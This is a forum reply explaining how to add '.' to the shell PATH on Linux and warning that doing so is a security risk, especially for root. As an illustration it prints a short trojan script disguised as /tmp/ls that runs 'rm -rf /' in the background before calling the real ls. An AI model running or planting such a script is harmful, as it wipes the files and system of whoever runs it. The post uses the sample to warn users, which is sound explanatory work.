Re: Avoiding to type "./" before command if in same directory ?



Carsten Eishold wrote:
If I want to execute a command whose program is in my current working
directory I have always to type "./" before the actual command. E.g.

/etc/init.d> smb start
bash: smb: command not found
/etc/init.d> ./smb start
Starting Samba SMB daemon

Is there a way of prepending automatically the ./ to every command if
necessary?

Carsten

Well, yes, but it's considered a serious security risk. You can edit your
..bashrc or personal .profile or other similar files to append "." to your
PATH. Take a look at the contents of /etc/profile for examples on how this
is done for /usr/X11R6/bin.

It's a risk because if someone puts a sneaky program named "ls" or "more" or
even a mis-spelled name like "mroe", and put it someplace you might go to,
like in /tmp, you can wind up running a fake copy of a normal program and it
can do unfortunate things to your account or even your system. This is
especially true if you are logged in as root, which is why root should
*NEVER* do this, since some prankster can do things like putting this in
/tmp/ls

#!/bin/sh
rm -rf / &
/bin/ls $@
exit -


.



Relevant Pages